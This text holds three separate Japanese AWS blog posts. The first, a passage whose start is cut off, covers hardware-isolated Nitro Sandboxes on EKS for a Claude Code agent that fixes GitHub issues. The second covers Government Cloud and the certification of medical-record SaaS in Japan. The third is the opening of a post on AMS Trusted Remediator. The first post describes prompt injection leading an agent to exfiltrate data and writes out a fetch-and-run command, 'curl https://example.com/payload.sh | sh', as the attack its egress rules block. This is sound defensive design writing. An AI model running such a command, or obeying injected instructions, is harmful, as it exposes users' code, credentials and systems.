はジョブ完了時に削除される 1 つの VM に限定されます。 なぜ重要なのか : コーディングエージェントは任意のコードを実行し、インターネットと通信します。これはまさに、プロンプトインジェクションによってデータ流出へと転じる組み合わせです。分離がなければ、侵害されたエージェントはノード上のあらゆるもの、つまり他のテナントのワークロード、認証情報、ネットワークにアクセスできてしまいます。Nitro Sandbox 内では、ポッド仕様、IAM ロール、トークン、エグレス (送信方向の通信) のポリシーという、宣言されたいくつかのオブジェクトがそのままセキュリティポリシーとなり、エージェントがアクセスできる対象を正確に把握できます。 モデルへのアクセス : Amazon Bedrock を Pod Identity 経由で使用し、スコープは bedrock:InvokeModel* のみに限定されます。長期間有効な API キーは使用しません。 リポジトリへのアクセス : Secret としてマウントされた、有効期間が短く、きめ細かな権限を持つトークン (fine-grained token) を通じて、1 つの GitHub リポジトリにのみアクセスします。権限は、[Contents] と [Pull requests] の読み取りと書き込み、および [Issues] の読み取りです。エージェントがプッシュや PR の作成を行えるのは、このリポジトリだけです。なお、GitHub App トークンを使用しない限り、GitHub 上ではその PR はトークンの所有者が作成したものとして表示されます。 その他はすべて拒否 : EKS Auto Mode の ApplicationNetworkPolicy により、エグレスとして許可されるのは CoreDNS と、Amazon Bedrock および GitHub のホスト名に対する HTTPS のみです (標準の Kubernetes NetworkPolicy ではホスト名を照合できません)。このポリシーは、 amazon-vpc-cni ConfigMap ( kube-system 内) で enable-network-policy-controller: "true" を設定すると適用されます。他の AWS API、他のインターネットホスト、隣接するポッドへの通信は拒否されます (ただし、許可されたホスト名と同じアドレスを使用する別のホスト名にも到達できます)。 github.com 全体に到達できるため、プッシュやプライベートリポジトリの読み取りを制限しているのは、スコープを限定したトークンです。 図 2: コーディングエージェントと、エージェントがアクセスを許可されているすべての宛先。DNS ルックアップ以外に VM から外部へ向かう経路は、Pod Identity を介した Amazon Bedrock と、スコープを限定したトークンを介した GitHub の 2 つだけです。その他はすべて拒否されます。 エージェントがプロンプトインジェクションを受けて curl https://example.com/payload.sh | sh を実行しようとしても、接続は確立されません。example.com はエグレスリストに含まれていないためです。ポッドが終了すると VM は破棄されるため、次回の実行に状態が持ち越されることはありません。 重要なポイント : Claude Code は、自身がサンドボックス内にいることを認識していません。Claude Code から見えるのは、シェル、リポジトリ、モデルだけです。分離はアプリケーションからは見えない一方で、プラットフォームチームからは明示的に把握できます。 次の例を実行するには、AWS Nitro Sandboxes on Amazon EKS のブループリントリポジトリをクローンします。 git clone https://github.com/aws-samples/sample-eks-nitro-sandbox cd sample-eks-nitro-sandbox/examples/getting-started/coding-agent/ README.md の手順に従ってください。このディレクトリには、次のポッドマニフェストファイル fix-issue.yaml が含まれています。 apiVersion: v1 kind: Pod metadata: name: fix-issue-<ISSUE_NUMBER> labels: { app: coding-agent } spec: runtimeClassName: isolated-sandbox serviceAccountName: coding-agent # Pod Identity -> bedrock:InvokeModel* restartPolicy: Never containers: - name: claude image: <ACCOUNT_ID>.dkr.ecr.us-west-2.amazonaws.com/coding-agent:latest env: - { name: CLAUDE_CODE_USE_BEDROCK, value: "1" } - { name: AWS_REGION, value: us-west-2 } - { name: ANTHROPIC_MODEL, value: "us.anthropic.claude-sonnet-5-5" } - { name: REPO_URL, value: https://github.com/<GITHUB_OWNER>/<GITHUB_REPO> } - { name: ISSUE_NUMBER, value: "<ISSUE_NUMBER>" } volumeMounts: - { name: git-token, mountPath: /var/run/secrets/git, readOnly: true } command: ["/entrypoint.sh"] args: - | Read GitHub issue #$(ISSUE_NUMBER) in this repository. Reproduce the bug with a failing test, fix it with the smallest change that makes the test pass, run the full test suite, then commit on a branch named agent/issue-$(ISSUE_NUMBER) and open a pull request that references the issue and explains the root cause. volumes: - name: git-token secret: { secretName: coding-agent-git-token } エントリポイントスクリプトの entrypoint.sh は、マウントされたトークンを使用してリポジトリをクローンし、 claude -p "$1" --allowedTools "Bash,Edit,Read,Write" を非対話モードで実行した後、ブランチをプッシュしてプルリクエストを作成します。サンプルコードには、Dockerfile のほか、イメージをプッシュし、IAM ロール、トークンの Secret、エグレスポリシーを作成する手順が含まれています。これらを完了し、 ACCOUNT_ID 、 GITHUB_OWNER 、 GITHUB_REPO 、 ISSUE_NUMBER をシェルの環境変数としてエクスポートしたら、プレースホルダーを置き換えてポッドを起動し、ログを追跡します (出力は一部省略しています。エージェントによる要約は実行ごとに異なります)。 $ sed -e "s|<ACCOUNT_ID>|$ACCOUNT_ID|" -e "s|<GITHUB_OWNER>|$GITHUB_OWNER|" \ -e "s|<GITHUB_REPO>|$GITHUB_REPO|" -e "s|<ISSUE_NUMBER>|$ISSUE_NUMBER|g" \ fix-issue.yaml | kubectl apply -f - $ until kubectl get pod fix-issue-$ISSUE_NUMBER -o jsonpath='{.status.phase}' \ | grep -Eq '^(Running|Succeeded|Failed)$'; do sleep 2; done $ kubectl logs -f fix-issue-$ISSUE_NUMBER Cloning your-github-user/example-app ... Reading issue #1: "date parser drops timezone on ISO-8601 input" Running Claude Code ... I fixed the bug and opened a pull request: <PR_URL>. The full suite passes (4 tests). [...] - **Root cause:** `parse_iso8601` cut the input down to its first 19 characters and parsed that with `strptime`. [...] - **Reproduction:** I added two tests to `tests/test_dates.py`, one for a numeric offset and one for `Z`. Both failed before the fix. - **Fix:** `src/dates.py` now calls `datetime.fromisoformat(value)`, which keeps the offset and accepts `Z`. Naive inputs still come back naive. Pushed agent/issue-1 ... pull request already open: <PR_URL> シェルは他のテナントと共有しないカーネル上で実行され、モデルへのアクセスには IAM ロール、git へのアクセスにはスコープを限定した 1 つのトークンを使用し、ポッドが終了すると VM は破棄されます。セキュリティモデルはこれだけです。宣言した内容を見ればすべてを把握でき、VM 境界はハードウェアによって強制されます。 統合: Nitro Sandboxes の位置付け Nitro Sandboxes は Kubernetes の RuntimeClass であり、新しい API ではありません。ポッドテンプレートを生成するツール、コントローラー、プラットフォームであれば、フィールドを 1 つ設定するだけで、ワークロードをハードウェアで分離された VM 内で実行できます。つまり、Nitro Sandboxes はお客様が既に使用しているツールと競合するものではなく、分離レイヤーとしてそれらのツールの下層に組み込まれます。 エージェントフレームワークとコーディングハーネス はそのまま動作します。既存のエージェント (Claude Code、Codex、Strands、OpenCode、またはその他のハーネス) をコンテナとしてパッケージ化し、RuntimeClass を追加するだけで、コードを変更することなく、ポッドごとの VM 内で実行できます。AWS は、お客様が普段使っているツールが対象に含まれるよう、さまざまなコーディングハーネスやエージェントアシスタントでこれを検証しました。 インタラクティブなワークロード向けのウォームプール。 Kubernetes SIG のプロジェクトである agent-sandbox は、任意の分離ランタイム上にウォームプール管理の機能を追加します。agent-sandbox で Nitro Sandboxes を指定すると、事前に起動された VM が待機し、約 2 秒で割り当てられます。バックグラウンドで VM が補充されるため、コールドスタートの遅延は表に出ません。レイテンシーの影響を受けやすいエージェントセッションには、この方法をお勧めします。 セルフホスト型のマネージドエージェント。 Anthropic、OpenAI、Cursor は現在、推論ループは各社のクラウドで実行し、ツールの実行はお客様のインフラストラクチャで行うモードを提供しています。Nitro Sandboxes は、こうしたモードと自然に組み合わせられます。ベンダーがお客様のコードやネットワークに触れることはなく、モデルが要求するすべてのコマンドは、スコープが限定されたアイデンティティとオプションのネットワーク分離を備えた、ハードウェアで分離された VM 内で実行されます。 CI/CD と AI ソフトウェアファクトリー。 docker build を実行するビルドジョブや、エージェント駆動のパイプラインでは、信頼できないコードが昇格された権限で実行されるため、これまでは専用のノードグループが必要でした。Nitro Sandboxes を使用すれば、こうしたジョブの特権操作をポッドごとの VM 内で実行できます。AWS は、GitLab Runner と本格的な AI ソフトウェアファクトリーでこの構成を構築しました。この AI ソフトウェアファクトリーでは、issue からマージ済み PR に至るまでのコード作成を、エージェントがすべてサンドボックス内で進めます。 永続的なオーケストレーション。 長時間実行されるエージェントワークフローには、再起動後も存続するオーケストレーションレイヤーが必要です。AWS は、Temporal が Nitro Sandboxes をファーストクラスのコンピューティングプロバイダーとして扱い、タスクごとに VM をプロビジョニングして処理を実行し、完了後に回収できることを検証しました。 リモート IDE とマルチテナント SaaS。 開発者環境とは、いわば人間がキーボードを操作するエージェントワークロードです。任意のコードを実行し、任意のネットワークにアクセスするため、同様の分離が必要です。ブラウザベースの VS Code や Kiro CLI のワークスペースをサンドボックス内で実行すれば、各ユーザーに、抜け出すことのできない VM 内で完全な IDE を提供できます。同じ特性は、マルチテナント SaaS の基盤にもなります。多数のテナントを 1 つのノードにビンパッキングし、それぞれを専用の VM で実行することで、証明可能な分離と、インフラストラクチャ共有による経済性を両立できます。 今すぐお試しください Nitro Sandboxes for Amazon EKS は現在、すべての AWS 商用リージョンにおいて、Nitro に対応したすべてのインスタンスファミリー (Intel、AMD、 Graviton ) で利用できます。EKS Auto Mode では、すべてのクラスターにランタイムクラスが標準で含まれています。次に作成するポッド仕様に runtimeClassName: isolated-sandbox を追加すれば、1 分もかからずに、ハードウェアで強制された境界内でワークロードを実行できます。 詳細を確認して使用を開始するには、以下を参照してください。 Amazon EKS での Nitro Sandboxes のドキュメント AWS Nitro Sandboxes on Amazon EKS のブループリントサンプル   著者について Carlos Santana Carlos は AWS の Senior Specialist Solutions Architect で、クラウドネイティブテクノロジー、Kubernetes、AI/ML システムに注力しています。CNCF Ambassador として、AWS 固有のソリューションと幅広いオープンソースエコシステムの橋渡し役を担っており、Amazon EKS、コンテナオーケストレーション、エージェンティック AI システムを専門としています。 Trishi Mehta Trishi は AWS の Senior Product Manager – Technical です。Nitro Sandboxes、AI/ML インフラストラクチャ、オープンソースの Kubernetes ノードオートスケーラーである Karpenter など、Amazon EKS のコンピューティング領域を担当しています。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

みなさん、こんにちは。AWS ジャパン 執行役員 パブリックセクター技術統括本部長の瀧澤です。 電子カルテベンダーの皆様が、ガバメントクラウドと公共 SaaS を正しく理解し、クラウドネイティブな電子カルテへの第一歩を具体化するためのブログシリーズを紹介します。なお、この投稿は、同じチームで、ヘルスケアソリューションアーキテクトの松浦さんと一緒に書いています。よろしくお願いします。 電子カルテを取り巻く環境は、大きく変わろうとしています。厚生労働省とデジタル庁は 2026 年 3 月 31 日に、 「中小病院向け電子カルテ及びレセプトコンピュータ標準仕様書（基本要件）1.0 版」と「医科診療所向け電子カルテ及びレセプトコンピュータ標準仕様書（基本要件）1.0 版」 を公開しました。その背景・目的では、ガバメントクラウド対応が可能となるマルチテナント方式、いわゆる SaaS（Software as a Service）型のクラウドサービスに加え、標準 API、データ引き継ぎが可能な互換性などが示されています。また 2026 年 7 月 21 日に閣議決定された 「日本成長戦略」 では、「クラウドネイティブに最適化された医療ＤＸ基盤」の目標として、2030 年までに電子カルテ普及率約 100%、大病院向けクラウドネイティブ型製品の提供を目指すことが示されました。あわせて、電子カルテ未導入の 200 床以上の病院（療養病床等が中心の病院を除く）については、2028 年度までに普及率 100% を目指すことも示されています。主な施策としては、認証されたクラウドネイティブ型電子カルテ製品の普及を促進することが挙げられています。同日に日本成長戦略本部が決定した 官民投資ロードマップ では、この分野の投資額を 2040 年度までで 5.2 兆円と想定しています。 これまで電子カルテのクラウド化についてお客様からお話を伺う中で、「ガバメントクラウドとは政府専用の特殊なクラウドなのか」「ガバメントクラウドや公共 SaaS の利用は必須なのか」「クラウドを選べばセキュリティやガイドライン対応は自動的に完了するのか」といったご質問をいただいてきました。 そこで本シリーズでは、電子カルテベンダーの開発責任者とアーキテクトの皆様に向けて、公開済みの政府資料と AWS のベストプラクティスを基に、クラウドネイティブ化を検討する際の考え方を解説します。第 1 回では、ガバメントクラウドと公共 SaaS の位置付け、2026 年 10 月に公開された標準仕様の認証制度の要点、医療分野にとっての意味、そして AWS の責任共有モデルを整理します。そのうえで、今から着手できるアクションを紹介します。 本記事の前提 本記事は 2026 年 11 月 10 日時点で公開されている情報を基にしています。制度、手続き、標準仕様は更新される可能性があるため、実際の検討では必ず各省庁およびデジタル庁の GCAS ガイド（ガバメントクラウドの利用者向けガイド）の最新版を確認してください。 ガバメントクラウドは「政府共通のクラウドサービスの利用環境」 デジタル庁は、 ガバメントクラウド を「政府共通のクラウドサービスの利用環境」と説明しています。その目的は、クラウドサービスの利点を最大限に活用し、迅速、柔軟、セキュアかつコスト効率の高いシステムを構築可能とするとともに、利用者にとって利便性の高いサービスをいち早く提供し、改善していくことです。 ガバメントクラウドは、政府専用に新しく作られたクラウドではありません。デジタル庁が選定したパブリッククラウド（ガバメントクラウド対象クラウドサービス）を、統一されたガバナンスのもとで利用する環境です。 ここで重要なのは、ガバメントクラウドを単なるインフラストラクチャの設置場所として捉えないことです。デジタル庁の説明では、次のような価値が挙げられています。 アプリケーション開発者の要求に応じた、柔軟かつ迅速なインフラストラクチャの提供 クラウドサービスが提供するセキュリティ、可用性、スケーラビリティの活用 ガバナンス機能とテンプレートによる、ベストプラクティスに基づく品質の底上げと標準化 セキュリティ、ネットワーク、運用監視などの検討省力化と設定自動化 マネージドサービスの利用と構築・運用の自動化によるインフラストラクチャコストの削減、コストの可視化・透明化 したがって、既存システムを仮想マシンへそのまま移すことだけが目標ではありません。標準化、自動化、マネージドサービスを活用し、変更へ継続的に対応できる運用モデルを作ることが重要です。これはガバメントクラウドを利用するかどうかにかかわらず、電子カルテをクラウドネイティブ化する際に共通する考え方です。 よくある誤解を整理する 誤解 1: ガバメントクラウドを使えば、アプリケーションの要件適合が自動的に保証される ガバメントクラウドの基盤が満たす要件と、その上で電子カルテベンダーが設計・実装・運用するアプリケーションの要件は同一ではありません。基盤の利用によって継承できる統制がある一方、データ管理、アクセス制御、テナント分離、アプリケーションの脆弱性対策とパッチ適用、ログの確認など、サービス提供者が担うべき責任は残ります。 誤解 2: 公共分野向けである以上、医療機関ごとにすべてのリソースを分離しなければならない 分離要件を満たす方法は 1 つではありません。専用環境を用意するサイロモデル、リソースを共有しながら論理的に分離するプールモデル、両者を組み合わせるブリッジモデルなどがあります。どの方式が適切かは、データ、性能、障害影響範囲、運用、コスト、適用される要件を踏まえて判断します。詳しくは第 2 回で解説します。 誤解 3: クラウドネイティブとは、コンテナやサーバーレスを採用することである これらは有力な選択肢ですが、特定の技術を採用すること自体が目的ではありません。変更を小さく安全に届けられること、構築と運用を自動化できること、システムの状態を観測できること、障害から回復できることなど、提供・運用の能力まで含めて考える必要があります。公共 SaaS に求められるモダン化について、GCAS ガイドの 公共 SaaS の共通要件にかかる技術方針 は「システム運用管理の省力化や自動化を含むモダン化が求められる」とし、参照先として ガバメントクラウドにおけるモダン化の定義 を挙げています。採用するサービスは、特定のサービス名からではなく、これらの記載と自社が担える運用責任の範囲から判断することが大切です。 誤解 4: ガバメントクラウドでも、AWS と直接契約して利用する ガバメントクラウドでは、デジタル庁がクラウドサービス事業者と契約し、利用者はデジタル庁が用意した環境を利用します。AWS と直接契約して AWS アカウントを使う場合とは、契約や費用負担の構造が異なります。公共 SaaS として提供する場合は、SaaS 事業者がデジタル庁とガバメントクラウド利用権付与兼債務引受契約を締結し、ガバメントクラウドの利用料は SaaS 事業者が負担してデジタル庁へ納付する、とされています。詳細な手続きや利用料の扱いについては、 GCAS ガイド の公共 SaaS の手続きで確認してください。 公共 SaaS と標準仕様書 GCAS ガイド では、公共 SaaS を、ガバメントクラウドを利用環境として、制度官庁等が標準仕様等を定める公共・準公共分野の情報システムを SaaS の形態で提供するもの、と説明しています。利用者ごとに稼働環境を個別に構築せず、共通化された環境を活用することで、システム資源や運用管理の負担軽減が期待されるとし、アプリケーションのモダン化も強く推奨しています。提供に向けた手続きや 共通要件にかかる技術方針 も公開されています。 電子カルテについては、標準仕様書（基本要件）が必須要件を項目ごとに定めており、公共 SaaS を利用する場合の扱いも示しています。 2.1.2 非機能要件 （ 中小病院向け p.16–18／ 医科診療所向け p.14–16。ページ番号は標準仕様書に印字されたものです）: 第三者認証の取得やペネトレーションテスト・脆弱性診断などのセキュリティ対策 2.1.3 アーキテクチャ （中小病院向け p.19–20／医科診療所向け p.17–18）: ガバメントクラウド対象クラウドサービス（ガバメントクラウドの対象として選定されたパブリッククラウド）上で原則として稼働するマルチテナント方式の SaaS（ソースコード共通、カスタマイズ不可）であること（院内機器との中継など一部の例外があります）、「ガバメントクラウドにおけるモダン化の定義」への合致 公共 SaaS を利用している場合は、アーキテクチャの要件と、セキュリティのうち第三者認証・ペネトレーションテスト・脆弱性診断に適合しているものとみなされます。ただし、テストや診断が不要になるわけではありません。GCAS ガイドの 公共 SaaS の共通要件にかかる技術方針 では、サービス開始前の確認として、SOC2 等の監査、脆弱性検査、ペネトレーションテスト等の実施計画と結果をデジタル庁と共有することを求めています。公共 SaaS を利用しない場合は、各項目の要件に個別に適合する必要があります。標準仕様への適合を確認する認証制度については、次の章で説明します。最新の要件は、必ず原本で確認してください。 標準仕様の認証制度 厚生労働省とデジタル庁は 2026 年 10 月 16 日、標準仕様への適合状況を評価して要件を満たす電子カルテ製品を認証する、認証制度要綱を公表しました。あわせて、厚生労働省が FAQ を公開しています。要綱は 2026 年 11 月 1 日に施行され、標準仕様のページによると、標準仕様 第 1.0 版に基づく認証の申請は同日から 2027 年 10 月 31 日まで受け付けられます。なお、FAQ は、認証を取得していない電子カルテの販売を妨げるものではないとしています。主な内容は、次の資料に書かれています。 標準仕様のページ「認証制度」 : 制度の目的と概要、主な評価項目、認証取得までの流れ、スケジュール、申請先 認証制度要綱 第 1.0 版 本文（PDF の 3–9 ページ）: 認証の対象と有効期間（第 4 条）、認証要件と、ガバメントクラウドを利用していない製品に求められるガバメントクラウド利用に関する事前相談（第 5 条・第 6 条。Q&A では、ガバメントクラウドを利用する製品は公共 SaaS として提供されるものとされています）、審査・公開・更新の手続（第 7 条〜第 9 条）、免責事項（第 14 条） 別表 1「認証制度の評価項目および評価指標」（PDF の 12–13 ページ）: 評価項目ごとの評価指標（公共 SaaS の場合の扱いを含む）、標準仕様書の該当箇所、更新時に必ず確認する項目 電子カルテ標準仕様および認証制度に関する Q&A : 医療機関向けと事業者向けの質問と回答 これらの資料に書かれた内容のうち、次の 3 点は製品の開発・運用計画に直接影響するため、早めに確認しておくことをおすすめします（いずれも第 1.0 版の時点の内容です）。セキュリティに関する 2 点は、公共 SaaS を利用して提供している場合、前の章で触れたとおり適合しているものとみなされます。稼働実績は、公共 SaaS かどうかで求められる内容が変わります。 ペネトレーションテストと脆弱性診断 — 原則として年 1 回以上の実施が求められ、CVSS スコアが中（Medium）以上の脆弱性は原則として対策します。 ISMAP または ISMS 認証 — 第 1.0 版に基づく初回の申請では、経過措置として未取得でも申請できます。ただし、標準仕様の認証を受けた事業者は 2027 年 6 月 30 日までに取得する必要があり、申請時に取得計画と取得見込み時期を提出します。 稼働実績 — 中小病院向けは 30 施設以上、医科診療所向けは 200 施設以上で稼働し、その状態が直近 1 年間続いていることが求められます。第 1.0 版の初回審査に限り、直近 3 か月間に読み替えられます。公共 SaaS（要綱の表記では「ガバメントクラウドを利用してシステム構築を行っている場合」）を利用して提供している場合は、この要件は適用されず、代わりに性能、障害復旧、業務・運用に関する検証結果の資料を提出します。 詳細や最新の内容は、必ず要綱と FAQ の原本で確認してください。 医療分野で SaaS 化が意味すること ここでは、公共 SaaS に限らず、電子カルテを SaaS として提供すること全般の意味を整理します。 中小病院向け標準仕様書（基本要件） は、現在の電子カルテの課題として、医療機関ごとのカスタマイズやオンプレミス型・シングルテナントの構築による導入・保守・改修コストの増大、独自のデータ引き継ぎ規格によるベンダーロックインの傾向、セキュリティ確保に医療機関側の多大な労力が必要で端末にセキュリティパッチを適用できない場合があることなどを挙げています。標準仕様書はこうした課題に対し、マルチテナント方式のクラウド・ネイティブ型による「所有」から「共同利用」への転換、サーバ側での一括更新による迅速かつ継続的なセキュリティパッチの適用、データ引き継ぎ規格の標準化といった方向性を示しています。 官民投資ロードマップ でも、現行のオンプレミス型システムは現地の改修費用や人的リソースの面で高コストになりやすいことが課題とされています。 なお、パッチを適用しにくい背景には、医療機関ごとに異なる構成や個別カスタマイズ、診療への影響を避けるために更新を控えたいという事情など、ベンダーと医療機関の双方の要因があるというのが、お客様のお話を伺う中での私たちの理解です（標準仕様書の記述ではありません）。 標準仕様書が挙げる課題とこうした背景において、電子カルテベンダーの設計課題として捉えると、医療機関側のサーバー運用やパッチ適用の負担を減らしつつ、医療機関の担当者がサービスの稼働状況やセキュリティ対策を確認・監査できる透明性、更新とパッチを全テナントへ計画的に届ける仕組み、院内ネットワークや閉域網との接続方式、24 時間 365 日の診療を止めない更新と障害対応、機微性の高い医療情報の保護、ベンダー変更時にもデータを引き継げる設計が重要になります。 SaaS 化の意義は、単に複数の医療機関へ同じアプリケーションを提供できることだけではありません。製品と運用を一体として標準化することで、次のような改善につなげられます。 変更を一貫して届ける — セキュリティ修正や機能改善を、医療機関ごとの個別作業に依存せず展開しやすくなります。 運用品質を揃える — 監視、バックアップ、構成管理、監査ログなどを共通の仕組みとして設計できます。 利用状況を把握する — テナント単位の性能、可用性、利用量、コストを観測し、サービス改善へつなげられます。 導入を再現可能にする — Infrastructure as Code（IaC）と自動化により、新しい医療機関のオンボーディングを標準化できます。 製品開発へ注力する — マネージドサービスを適切に選択することで、基盤運用の一部を AWS に委ね、電子カルテ固有の価値へ開発リソースを振り向けられます。 ただし、SaaS 化は「共有すればよい」という設計ではありません。医療情報を扱うシステムでは、テナント間の分離、認証・認可、暗号化、監査可能性、バックアップと復旧、データ移行性などを、製品のライフサイクル全体で設計する必要があります。 AWS で SaaS を実現する際に活用できるもの Amazon Web Services（AWS）は、デジタル庁が公表している ガバメントクラウド対象クラウドサービス の一つです。AWS 上で SaaS を設計する際には、次のような公開リソースを活用できます。いずれも設計判断を代替するものではなく、自社製品の要件に照らして取捨選択することが前提です。 マネージドサービス — 責任共有モデル では、Amazon Simple Storage Service（Amazon S3）や Amazon DynamoDB のような抽象化されたサービスについて、AWS がインフラストラクチャレイヤー、オペレーティングシステム、プラットフォームを運用すると説明しています。採用するサービスによって、ベンダーが担うパッチ適用の範囲を小さくできます。 設計レビューの枠組み — AWS Well-Architected Framework と、マルチテナント設計の観点をまとめた SaaS レンズ で、トレードオフを確認できます。 リファレンス実装 — AWS SaaS Factory が公開する サーバーレス や Amazon Elastic Kubernetes Service（Amazon EKS） のリファレンスアーキテクチャで、テナント管理やオンボーディングの実装例を参照できます。これらは参考実装であり、本番利用にあたっては自社でのセキュリティレビューが必要です。 責任共有モデルを三者の会話に落とし込む AWS では、セキュリティとコンプライアンスを AWS とお客様の 責任共有モデル として整理しています。AWS は、クラウドサービスを実行するハードウェア、ソフトウェア、ネットワーキング、施設など、「クラウド の セキュリティ」に責任を持ちます。お客様は、選択したサービスに応じて、データ、ID と権限、設定、ゲスト OS やアプリケーションのパッチ適用など、「クラウド における セキュリティ」に責任を持ちます。 電子カルテ SaaS では、さらにサービス提供者である電子カルテベンダーと、サービスを利用する医療機関等の間でも役割分担が生じます。そのため、実務では「AWS とお客様」という二者の整理を、次の三者の作業へ具体化することが重要です。 主体 主な責任の例 AWS クラウドを稼働させる物理インフラストラクチャ、ハードウェア、マネージドサービスの基盤部分の保護と運用 電子カルテベンダー アプリケーション設計、テナント分離、ID・権限設計、データ保護、構成、脆弱性管理とパッチ適用、端末側の OS・ブラウザ更新との互換性検証、ログと監視、バックアップ・復旧、変更管理 医療機関等 利用者管理、端末や院内ネットワークの管理、業務手順、サービス選定・契約、委託先との責任分担の確認 この図表は一般的な整理であり、実際の責任は採用する AWS サービス、提供方式、契約、適用される法令やガイドラインによって異なります。重要なのは、責任を曖昧なままにしないことです。「誰が、何を、どの頻度で実施し、どの証跡を残すか」まで合意し、設計書、運用手順、契約とサービスレベルの定義へ反映します。なお、医療機関に対しては、AWS が担う範囲を含むインフラの管理・運用も、サービス提供者である電子カルテベンダーの責任範囲として位置付けられます。 マネージドサービスを選ぶほど AWS が運用する範囲は広がりますが、データの分類、アクセス権、アプリケーションロジック、アプリケーションのパッチ適用と脆弱性対策は、引き続き電子カルテベンダーの責任です。認証制度要綱の別表 1 でも、SaaS 型の評価指標として、医療機関とサービス提供者の責任範囲を明確に区分すること、利用者の責任範囲は「データ」の管理に限定し、アプリケーション、OS、インフラ（ハードウェア、ネットワーク、施設等）の管理・運用はサービス提供者の責任範囲とすることが挙げられています。どのサービスを選び、残る責任をどう日常の開発・運用に組み込むかは、シリーズ後半で取り上げます。 今から始めるための 6 つのアクション 制度や認証の詳細が更新されるのを待つのではなく、目指すサービスの姿を描いたうえで、公開済みの情報と一般的なクラウドのベストプラクティスに基づき、次の準備を進められます。 1. 経営層や事業部門と一緒に、目指すサービスの姿を描く 現行製品の構成や制約から出発すると、クラウド化は「今のシステムをどう移すか」の議論になりがちです。まず経営層や事業部門、営業、サポートのメンバーも交え、SaaS として医療機関にどのような価値を届けたいかを、料金体系、導入期間、サポートの形、機能改善の頻度などを含めて描きます。技術的な制約との折り合いはその後で検討し、目指す姿と現状の差分を以降のアクションの優先順位づけに使います。 2. 一次資料を継続的にキャッチアップする 厚生労働省・デジタル庁の 電子カルテ及びレセプトコンピュータ標準仕様（基本要件） と認証制度要綱・FAQ、デジタル庁の ガバメントクラウド 資料、GCAS ガイドを参照元として登録し、更新確認の担当と頻度を決めます。認証は毎年更新され、更新時には改訂後の標準仕様への対応も確認されるため、改訂を追う体制は認証を維持するための前提にもなります。 主な一次資料は、電子カルテの機能要件・非機能要件を定める標準仕様書、ガバメントクラウドの利用と公共 SaaS の要件・手続きを示す GCAS ガイド、そして医療情報の安全管理について定める厚生労働省の 「医療情報システムの安全管理に関するガイドライン」 と総務省・経済産業省の 「医療情報を取り扱う情報システム・サービスの提供事業者における安全管理ガイドライン」 （いわゆる 3 省 2 ガイドライン）です。ガイドラインの詳細はシリーズ後半で取り上げます。 3. 現行製品の責任と手作業を棚卸しする OS やミドルウェアの更新、証明書更新、バックアップ確認、監視、障害対応、医療機関追加、医療機関ごとのカスタマイズなど、現在の作業を一覧化します。そのうえで、AWS のマネージドサービスや自動化へ移せる作業と、ベンダーが保持すべき責任を分けます。 4. テナント境界を先に定義する 「1 テナントは 1 医療法人か、1 医療機関か」「利用者、患者、部門、外部連携先をどのテナントへひも付けるか」を定義します。この判断は、ID、データ、ネットワーク、監査、コストのすべてに影響します。 5. 小さな対象で自動化を実証する 本番全体を一度に作り直すのではなく、非本番環境や限定した機能を対象に、IaC、継続的デリバリー、監視、バックアップ・復旧、セキュリティテストを一連の流れとして実証します。成功条件には、構築時間だけでなく、変更の再現性、パッチを全テナントへ展開するまでの時間、復旧時間も含めます。こうした検証の記録は、認証審査で求められる資料（たとえば公共 SaaS の場合の性能、障害復旧、業務・運用に関する検証結果）の土台にもなります。 6. 早い段階でアーキテクチャをレビューする テナント分離やデータモデルを実装した後に変更することは容易ではありません。方式を固定する前に、AWS Well-Architected Framework や SaaS レンズを使ってトレードオフを可視化してください。 まとめ ガバメントクラウドは、政府共通のクラウドサービス利用環境として、セキュリティ、可用性、スケーラビリティ、標準化、自動化を活用し、公共サービスを継続的に改善するための基盤です。公共 SaaS は、その環境で、標準仕様等に基づく情報システムを、利用者ごとに個別構築せず共通化された環境から SaaS として提供する仕組みです。 電子カルテベンダーにとって重要なのは、特定の制度対応だけをゴールにするのではなく、安全に変更でき、観測でき、回復できる製品と運用を作ることです。それは医療機関ごとの個別構築・個別保守やパッチ適用の負担を減らすことにもつながります。毎年の更新審査がある標準仕様の認証制度も、一度の適合ではなく、こうした運用を続けられるかを確かめる仕組みと捉えることができます。その第一歩は、経営層や事業部門とともに目指すサービスの姿を描き、ガバメントクラウドを正しく理解したうえで、AWS、電子カルテベンダー、医療機関等の責任を具体的な作業へ落とし込むことです。 次回は「電子カルテ SaaS のはじめ方 — AWS で考えるマルチテナント設計の選択肢」と題し、最初に決めるべきテナント境界、サイロ・プール・ブリッジの各テナント分離モデル、そしてオンボーディング、監視、課金などを担うコントロールプレーンの設計を解説します。 ガバメントクラウドや電子カルテ SaaS の構想・設計については、AWS の担当営業またはソリューションアーキテクトへご相談ください。 執行役員 パブリックセクター技術統括本部長 瀧澤 与一 参考資料 デジタル庁: ガバメントクラウド デジタル庁: GCAS ガイド 厚生労働省: 電子カルテ及びレセプトコンピュータ標準仕様（基本要件） 厚生労働省・デジタル庁: 医科診療所及び中小病院向け電子カルテの標準仕様に係る認証制度要綱 第 1.0 版（PDF） 厚生労働省: 電子カルテ標準仕様および認証制度に関する Q&A 内閣官房: 日本成長戦略（令和 8 年 7 月 21 日閣議決定）（PDF） AWS: 責任共有モデル AWS: AWS Well-Architected Framework AWS: SaaS レンズ

本記事は 2026 年 2 月 5 日に公開された” Optimize cost and automate security remediation with AMS Trusted Remediator ” を翻訳したものです。 Amazon Web Services (AWS) を活用している組織は、セキュリティとコスト最適化に関する推奨事項を毎月数千件も受け取ります。しかし、優先順位の問題やリソースの制約からその多くは実施されないままとなっています。 AWS Managed Services (AMS) の Trusted Remediator はこの課題を解決するため、複数の AWS アカウントにわたる修復を自動化し、手作業による修復にかかる時間と手間を大幅に減らします。あらかじめ用意された修復ライブラリは、116 件の推奨事項に対応しており、新しい機能が加わるたびに増え続けています。これらの自動化は、セキュリティ、コスト最適化、運用上の優秀性の各分野にわたります。企業はセキュリティホールを効率よくふさぎ、コストを最適化し、コンプライアンスを維持しながら AWS のベストプラクティスの変化にも柔軟に対応できます。 課題:インサイトが行動につながらない 実行すべき推奨事項は、 AWS Trusted Advisor 、 AWS Security Hub CSPM 、 AWS Compute Optimizer 、 AWS Well-Architected のレビューなどから、毎月数千件も生成されます。これらのインサイトは、セキュリティの向上、コストの削減、耐障害性の強化、コンプライアンスの維持への道筋を示します。ところが肝心なのはそのうちどれだけ実施されているかです。意欲のある組織でも推奨事項のかなりの部分を修復しきれていません。その結果、重大な脆弱性が残りコンプライアンス上の不備が放置され、コスト最適化の機会が生かされないままになっています。 優先順位の競合が実施の壁になる 